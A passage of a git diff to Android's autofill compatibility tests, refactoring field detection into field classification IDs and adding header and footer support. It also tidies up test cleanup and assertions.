+ android:id="@+id/outside1"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+
+ <LinearLayout
+ android:id="@+id/outsideContainer2"
+ android:visibility="gone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Outside 2" />
+
+ <EditText
+ android:id="@+id/outside2"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+
+ <android.autofillservice.cts.MyWebView
+ android:id="@+id/webview"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index f6e7e2f..4ae01fc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -25,11 +25,11 @@
import android.os.Bundle;
import android.service.autofill.CustomDescription;
import android.service.autofill.Dataset;
-import android.service.autofill.FieldsDetection;
import android.service.autofill.FillCallback;
import android.service.autofill.FillResponse;
import android.service.autofill.Sanitizer;
import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
import android.service.autofill.Validator;
import android.util.Pair;
import android.view.autofill.AutofillId;
@@ -73,6 +73,8 @@
private final CustomDescription mCustomDescription;
private final Bundle mExtras;
private final RemoteViews mPresentation;
+ private final RemoteViews mHeader;
+ private final RemoteViews mFooter;
private final IntentSender mAuthentication;
private final String[] mAuthenticationIds;
private final String[] mIgnoredIds;
@@ -82,7 +84,8 @@
private final int mFillResponseFlags;
private final AutofillId mSaveTriggerId;
private final long mDisableDuration;
- private final FieldsDetection mFieldsDetection;
+ private final AutofillId[] mFieldClassificationIds;
+ private final boolean mFieldClassificationIdsOverflow;
private CannedFillResponse(Builder builder) {
mResponseType = builder.mResponseType;
@@ -96,6 +99,8 @@
mSaveType = builder.mSaveType;
mExtras = builder.mExtras;
mPresentation = builder.mPresentation;
+ mHeader = builder.mHeader;
+ mFooter = builder.mFooter;
mAuthentication = builder.mAuthentication;
mAuthenticationIds = builder.mAuthenticationIds;
mIgnoredIds = builder.mIgnoredIds;
@@ -106,7 +111,8 @@
mFillResponseFlags = builder.mFillResponseFlags;
mSaveTriggerId = builder.mSaveTriggerId;
mDisableDuration = builder.mDisableDuration;
- mFieldsDetection = builder.mFieldsDetection;
+ mFieldClassificationIds = builder.mFieldClassificationIds;
+ mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
}
/**
@@ -136,6 +142,16 @@
* structure.
*/
FillResponse asFillResponse(Function<String, ViewNode> nodeResolver) {
+ return asFillResponse(null, nodeResolver);
+
+ }
+
+ /**
+ * Creates a new response, replacing the dataset field ids by the real ids from the assist
+ * structure.
+ */
+ FillResponse asFillResponse(InstrumentedAutoFillService service,
+ Function<String, ViewNode> nodeResolver) {
final FillResponse.Builder builder = new FillResponse.Builder()
.setFlags(mFillResponseFlags);
if (mDatasets != null) {
@@ -188,12 +204,26 @@
if (mDisableDuration > 0) {
builder.disableAutofill(mDisableDuration);
}
- if (mFieldsDetection != null) {
- builder.setFieldsDetection(mFieldsDetection);
+ if (mFieldClassificationIdsOverflow) {
+ final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+ final AutofillId[] fieldIds = new AutofillId[length];
+ for (int i = 0; i < length; i++) {
+ fieldIds[i] = new AutofillId(i);
+ }
+ builder.setFieldClassificationIds(fieldIds);
+ } else if (mFieldClassificationIds != null) {
+ builder.setFieldClassificationIds(mFieldClassificationIds);
}
- return builder
- .setClientState(mExtras)
- .build();
+ if (mExtras != null) {
+ builder.setClientState(mExtras);
+ }
+ if (mHeader != null) {
+ builder.setHeader(mHeader);
+ }
+ if (mFooter != null) {
+ builder.setFooter(mFooter);
+ }
+ return builder.build();
}
@Override
@@ -208,13 +238,16 @@
+ ", saveDescription=" + mSaveDescription
+ ", mCustomDescription=" + mCustomDescription
+ ", hasPresentation=" + (mPresentation != null)
+ + ", hasHeader=" + (mHeader != null)
+ + ", hasFooter=" + (mFooter != null)
+ ", hasAuthentication=" + (mAuthentication != null)
+ ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
+ ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+ ", sanitizers =" + mSanitizers
+ ", saveTriggerId=" + mSaveTriggerId
+ ", disableDuration=" + mDisableDuration
- + ", fieldsDetection=" + mFieldsDetection
+ + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+ + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
+ "]";
}
@@ -237,6 +270,8 @@
public int mSaveType = -1;
private Bundle mExtras;
private RemoteViews mPresentation;
+ private RemoteViews mFooter;
+ private RemoteViews mHeader;
private IntentSender mAuthentication;
private String[] mAuthenticationIds;
private String[] mIgnoredIds;
@@ -246,7 +281,8 @@
private int mFillResponseFlags;
private AutofillId mSaveTriggerId;
private long mDisableDuration;
- private FieldsDetection mFieldsDetection;
+ private AutofillId[] mFieldClassificationIds;
+ private boolean mFieldClassificationIdsOverflow;
public Builder(ResponseType type) {
mResponseType = type;
@@ -393,9 +429,27 @@
}
// TODO(b/67867469): document
- public Builder setFieldDetection(FieldsDetection fieldsDetection) {
- assertWithMessage("already set").that(mFieldsDetection).isNull();
- mFieldsDetection = fieldsDetection;
+ public Builder setFieldClassificationIds(AutofillId... ids) {
+ assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+ mFieldClassificationIds = ids;
+ return this;
+ }
+
+ // TODO(b/67867469): document
+ public Builder setFieldClassificationIdsOverflow() {
+ mFieldClassificationIdsOverflow = true;
+ return this;
+ }
+
+ public Builder setHeader(RemoteViews header) {
+ assertWithMessage("already set").that(mHeader).isNull();
+ mHeader = header;
+ return this;
+ }
+
+ public Builder setFooter(RemoteViews footer) {
+ assertWithMessage("already set").that(mFooter).isNull();
+ mFooter = footer;
return this;
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
index cf8a55e..afffa56 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -104,38 +104,40 @@
final SimpleSaveActivity activity = startSimpleSaveActivity();
final MyAutofillCallback callback = activity.registerCallback();
- // Trigger autofill
- activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+ try {
+ // Trigger autofill
+ activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
- if (action == PostLaunchAction.ASSERT_DISABLING) {
- callback.assertUiUnavailableEvent(activity.mInput);
- sReplier.getNextFillRequest();
+ if (action == PostLaunchAction.ASSERT_DISABLING) {
+ callback.assertUiUnavailableEvent(activity.mInput);
+ sReplier.getNextFillRequest();
- // Make sure other fields are not triggered.
- activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
- callback.assertNotCalled();
- } else if (action == PostLaunchAction.ASSERT_DISABLED) {
- // Make sure forced requests are ignored as well.
- activity.getAutofillManager().requestAutofill(activity.mInput);
- callback.assertNotCalled();
- } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
- callback.assertUiShownEvent(activity.mInput);
- sReplier.getNextFillRequest();
- final SimpleSaveActivity.FillExpectation autofillExpectation =
- activity.expectAutoFill("id", "pass");
- sUiBot.selectDataset("YO");
- autofillExpectation.assertAutoFilled();
+ // Make sure other fields are not triggered.
+ activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+ // Make sure forced requests are ignored as well.
+ activity.getAutofillManager().requestAutofill(activity.mInput);
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ callback.assertUiShownEvent(activity.mInput);
+ sReplier.getNextFillRequest();
+ final SimpleSaveActivity.FillExpectation autofillExpectation =
+ activity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+ autofillExpectation.assertAutoFilled();
+ }
+
+ // Asserts isEnabled() status.
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+ } else {
+ assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+ }
+ } finally {
+ activity.unregisterCallback();
+ activity.finish();
}
-
- // Asserts isEnabled() status.
- if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
- assertThat(activity.getAutofillManager().isEnabled()).isTrue();
- } else {
- assertThat(activity.getAutofillManager().isEnabled()).isFalse();
- }
-
- activity.unregisterCallback();
- activity.finish();
sReplier.assertNumberUnhandledFillRequests(0);
}
@@ -155,33 +157,35 @@
final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
final MyAutofillCallback callback = activity.registerCallback();
- // Trigger autofill
- activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+ try {
+ // Trigger autofill
+ activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
- if (action == PostLaunchAction.ASSERT_DISABLING) {
- callback.assertUiUnavailableEvent(activity.mPreInput);
- sReplier.getNextFillRequest();
- } else if (action == PostLaunchAction.ASSERT_DISABLED) {
- activity.getAutofillManager().requestAutofill(activity.mPreInput);
- callback.assertNotCalled();
- } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
- callback.assertUiShownEvent(activity.mPreInput);
- sReplier.getNextFillRequest();
- final PreSimpleSaveActivity.FillExpectation autofillExpectation =
- activity.expectAutoFill("yo");
- sUiBot.selectDataset("YO");
- autofillExpectation.assertAutoFilled();
+ if (action == PostLaunchAction.ASSERT_DISABLING) {
+ callback.assertUiUnavailableEvent(activity.mPreInput);
+ sReplier.getNextFillRequest();
+ } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+ activity.getAutofillManager().requestAutofill(activity.mPreInput);
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ callback.assertUiShownEvent(activity.mPreInput);
+ sReplier.getNextFillRequest();
+ final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+ activity.expectAutoFill("yo");
+ sUiBot.selectDataset("YO");
+ autofillExpectation.assertAutoFilled();
+ }
+
+ // Asserts isEnabled() status.
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+ } else {
+ assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+ }
+ } finally {
+ activity.unregisterCallback();
+ activity.finish();
}
-
- // Asserts isEnabled() status.
- if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
- assertThat(activity.getAutofillManager().isEnabled()).isTrue();
- } else {
- assertThat(activity.getAutofillManager().isEnabled()).isFalse();
- }
-
- activity.unregisterCallback();
- activity.finish();
sReplier.assertNumberUnhandledFillRequests(0);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsDetectionTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
similarity index 77%
rename from tests/autofillservice/src/android/autofillservice/cts/FieldsDetectionTest.java
rename to tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index b4db125..59e7115 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsDetectionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -20,11 +20,12 @@
import static android.autofillservice.cts.Helper.runShellCommand;
import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
-import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.provider.Settings;
-import android.service.autofill.FieldsDetection;
import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
import android.view.autofill.AutofillId;
import android.widget.EditText;
@@ -33,14 +34,17 @@
import org.junit.Rule;
import org.junit.Test;
-public class FieldsDetectionTest extends AutoFillServiceTestCase {
+import java.util.List;
+
+public class FieldsClassificationTest extends AutoFillServiceTestCase {
@Rule
public final AutofillActivityTestRule<GridActivity> mActivityRule =
new AutofillActivityTestRule<GridActivity>(GridActivity.class);
private GridActivity mActivity;
- private int mEnabledBedore;
+ private int mEnabledBefore;
+
@Before
public void setActivity() {
@@ -50,9 +54,9 @@
// TODO(b/67867469): remove once feature is stable
@Before
public void enableFeature() {
- mEnabledBedore = Settings.Secure.getInt(
+ mEnabledBefore = Settings.Secure.getInt(
mContext.getContentResolver(), Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 0);
- if (mEnabledBedore == 1) {
+ if (mEnabledBefore == 1) {
// Already enabled, ignore.
return;
}
@@ -66,14 +70,14 @@
// TODO(b/67867469): remove once feature is stable
@After
public void restoreFeatureStatus() {
- if (mEnabledBedore == 1) {
+ if (mEnabledBefore == 1) {
// Already enabled, ignore.
return;
}
final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
runShellCommand("settings put secure %s %s default",
- Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBedore);
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBefore);
observer.assertCalled();
}
@@ -83,12 +87,14 @@
enableService();
// Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
final MyAutofillCallback callback = mActivity.registerCallback();
final EditText field = mActivity.getCell(1, 1);
final AutofillId fieldId = field.getAutofillId();
sReplier.addResponse(new CannedFillResponse.Builder()
.setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
- .setFieldDetection(new FieldsDetection(fieldId, "myId", "FULL"))
+ .setFieldClassificationIds(fieldId)
.build());
// Trigger autofill
@@ -100,7 +106,7 @@
// Simulate user input
mActivity.focusCell(1, 1);
- mActivity.setText(1, 1, "full");
+ mActivity.setText(1, 1, "fully");
// Finish context.
mActivity.getAutofillManager().commit();
@@ -108,8 +114,9 @@
// Assert results
final FillEventHistory history =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(history.getEvents().size()).isEqualTo(1);
- assertFillEventForFieldsDetected(history.getEvents().get(0), "myId", 0);
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForFieldsDetected(events.get(0), "myId", 0);
}
@Test
@@ -118,17 +125,20 @@
enableService();
// Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "ABCDEF").build());
final MyAutofillCallback callback = mActivity.registerCallback();
final EditText field = mActivity.getCell(1, 1);
final AutofillId fieldId = field.getAutofillId();
sReplier.addResponse(new CannedFillResponse.Builder()
.setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
- .setFieldDetection(new FieldsDetection(fieldId, "myId", "ABC"))
+ .setFieldClassificationIds(fieldId)
.build());
// Trigger autofill
mActivity.focusCell(1, 1);
sReplier.getNextFillRequest();
+
sUiBot.assertNoDatasets();
callback.assertUiUnavailableEvent(field);
@@ -141,8 +151,9 @@
// Assert results
final FillEventHistory history =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(history.getEvents().size()).isEqualTo(1);
- assertFillEventForContextCommitted(history.getEvents().get(0));
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForContextCommitted(events.get(0));
}
@Test
@@ -151,12 +162,14 @@
enableService();
// Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
final MyAutofillCallback callback = mActivity.registerCallback();
final EditText field = mActivity.getCell(1, 1);
final AutofillId fieldId = field.getAutofillId();
sReplier.addResponse(new CannedFillResponse.Builder()
.setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
- .setFieldDetection(new FieldsDetection(fieldId, "myId", "Full"))
+ .setFieldClassificationIds(fieldId)
.build());
// Trigger autofill
@@ -172,8 +185,9 @@
// Assert results
final FillEventHistory history =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(history.getEvents().size()).isEqualTo(1);
- assertFillEventForContextCommitted(history.getEvents().get(0));
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForContextCommitted(events.get(0));
}
/*
@@ -182,7 +196,7 @@
* - Multipartition (for example, one response with FieldsDetection, others with datasets,
* saveinfo, and/or ignoredIds)
* - make sure detectable fields don't trigger a new partition
- * - test partial hit (for example, 'fool' insteadl of 'full'
+ * - test partial hit (for example, 'fool' instead of 'full'
* - multiple fields
* - multiple value
* - combinations of above items
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
index 8e74476..b3190c8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -44,6 +44,7 @@
import android.content.IntentSender;
import android.os.Bundle;
import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
import android.service.autofill.FillResponse;
import android.support.test.uiautomator.UiObject2;
import android.view.View;
@@ -56,6 +57,7 @@
import org.junit.Rule;
import org.junit.Test;
+import java.util.List;
import java.util.Map;
import java.util.Set;
@@ -118,8 +120,9 @@
FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetAuthenticationSelected(selection.getEvents().get(0), "name",
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
"clientStateKey", "clientStateValue");
}
@@ -158,8 +161,9 @@
FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForAuthenticationSelected(selection.getEvents().get(0), NULL_DATASET_ID,
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
"clientStateKey", "clientStateValue");
}
@@ -192,8 +196,10 @@
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertDeprecatedClientState(selection, "clientStateKey", "Value1");
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID,
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
"clientStateKey", "Value1");
}
@@ -229,7 +235,10 @@
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertDeprecatedClientState(selection, "clientStateKey", "Value2");
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "name3",
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "name3",
"clientStateKey", "Value2");
}
@@ -243,10 +252,12 @@
.getFillEventHistory();
assertDeprecatedClientState(selection, "clientStateKey", "Value2");
- assertThat(selection.getEvents().size()).isEqualTo(2);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "name3",
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "name3",
"clientStateKey", "Value2");
- assertFillEventForSaveShown(selection.getEvents().get(1), NULL_DATASET_ID,
+ assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
"clientStateKey", "Value2");
}
}
@@ -275,8 +286,10 @@
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertNoDeprecatedClientState(selection);
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
}
// Second request
@@ -318,8 +331,10 @@
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertNoDeprecatedClientState(selection);
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
}
// Second request
@@ -361,8 +376,10 @@
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertNoDeprecatedClientState(selection);
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
}
// Second request
@@ -511,8 +528,9 @@
// Assert it
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForSaveShown(selection.getEvents().get(0), NULL_DATASET_ID);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
}
@Test
@@ -536,8 +554,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
}
// Trigger 2st autofill request (which will clear the fill event history)
@@ -558,8 +578,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
}
// Finish the context by login in
@@ -572,9 +594,11 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+ assertFillEventForDatasetSelected(events.get(0), "id2");
}
}
@@ -609,8 +633,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
}
// Finish the context by login in
@@ -626,8 +652,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
}
}
@@ -664,8 +692,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
}
// Finish the context by login in
@@ -680,10 +710,12 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(2);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
- FillEventHistory.Event event2 = selection.getEvents().get(1);
+ FillEventHistory.Event event2 = events.get(1);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -729,8 +761,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
}
// Finish the context by login in
@@ -745,10 +779,12 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(2);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
- FillEventHistory.Event event2 = selection.getEvents().get(1);
+ final FillEventHistory.Event event2 = events.get(1);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -810,7 +846,9 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
}
}
@@ -851,8 +889,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
}
// Finish the context by login in
@@ -868,11 +908,12 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(2);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
-
- FillEventHistory.Event event2 = selection.getEvents().get(1);
+ final FillEventHistory.Event event2 = events.get(1);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -921,8 +962,10 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
}
// Autofill password
@@ -936,10 +979,12 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(2);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
- assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
}
// Finish the context by login in
@@ -954,12 +999,14 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(3);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(3);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
